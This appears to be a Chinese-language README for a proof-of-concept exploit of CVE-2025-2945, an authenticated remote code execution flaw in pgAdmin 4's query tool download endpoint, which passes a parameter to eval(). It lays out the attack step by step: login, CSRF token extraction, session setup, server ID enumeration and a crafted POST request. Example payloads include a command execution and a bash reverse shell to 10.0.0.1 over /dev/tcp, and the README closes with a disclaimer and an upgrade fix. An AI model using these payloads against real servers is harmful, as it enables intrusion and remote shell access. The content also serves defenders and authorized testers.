CVE-2025-2945 的概念验证,一个 pgAdmin 4 中的严重远程代码执行漏洞。
受影响版本: 8.10 至 9.1
修复版本: 9.2(2025年4月4日发布)
CVSS v3.1: 9.9(严重)
pgAdmin 4 查询工具暴露了一个端点,该端点接受 query_commited 参数并将其直接传递给 Python 内置的 eval() 函数,且未进行任何清理。通过身份验证的攻击者可以通过此参数提交任意 Python 代码,并在服务器端以 pgAdmin 服务账户的权限执行。
受影响端点:
POST /sqleditor/query_tool/download/<trans_id>
JSON 请求体中的 query_commited 字段会在服务器端被作为 Python 代码进行求值。
在 pgAdmin 4 9.2 之前的版本中,查询工具下载处理程序对用户提供的输入调用了 eval():
# 漏洞代码路径的简化表示
result = eval(data.get('query_commited'))
未应用任何输入验证、沙箱或白名单机制。任何有效的 Python 表达式都会以 pgAdmin 进程的权限执行。
/authenticate/login 发送 POST 请求提交凭据,获取会话 cookie 和 CSRF 令牌/sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did> 发送 POST 请求并附带数据库凭据,建立查询工具会话/sqleditor/get_server_connection/<sgid>/<sid> 发送 GET 请求,遍历 ID 直至返回 data.status == true/sqleditor/query_tool/download/<trans_id> 发送 POST 请求,请求体为 {"query_commited": "<python payload>"},收到 500 响应即确认执行旧版 pgAdmin 将 CSRF 令牌嵌入隐藏的 <input> 字段或 cookie 中。9.x 版本迁移至 React SPA 架构,令牌以 JSON 形式嵌入在登录页面的 window.renderSecurityPage() 调用中:
"csrfToken": "<token value>"
令牌是会话范围的(Flask-WTF / itsdangerous),因此从初始 GET /login 获取的令牌在整个会话期间有效,可重复用于后续所有 API 调用。
pgAdmin 9.x 将登录路由分离:
GET /login — 渲染登录页面(包含 CSRF 令牌)POST /authenticate/login — 处理凭据旧版 PoC 直接向 /login 发送 POST 请求时,在 9.x 实例上会收到 404 或 405 错误。
pip install requests faker
python3 poc.py \
--rhost <目标主机> \
--username <pgadmin邮箱> \
--password <pgadmin密码> \
--db-user <数据库用户名> \
--db-pass <数据库密码> \
--db-name <数据库名称> \
--payload "<python表达式>"
命令执行:
--payload "__import__('os').system('id')"
反弹 shell:
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"
/sqleditor/query_tool/download/ 返回意外的 HTTP 500 响应升级至 pgAdmin 4 版本 9.2 或更高版本。
本仓库仅用于教育和授权测试目的。请勿对您不拥有或未经明确许可的系统使用。
| 参数 | 描述 |
|---|
--rhost | 目标主机名或 IP(不含协议) |
--rport | 目标端口(默认:80) |
--username | pgAdmin 登录邮箱 |
--password | pgAdmin 登录密码 |
--db-user | PostgreSQL 用户名 |
--db-pass | PostgreSQL 密码 |
--db-name | 数据库名称 |
--payload | 在服务器上执行的 Python 表达式 |
--max-server-id | 要探测的最大服务器 ID(默认:10) |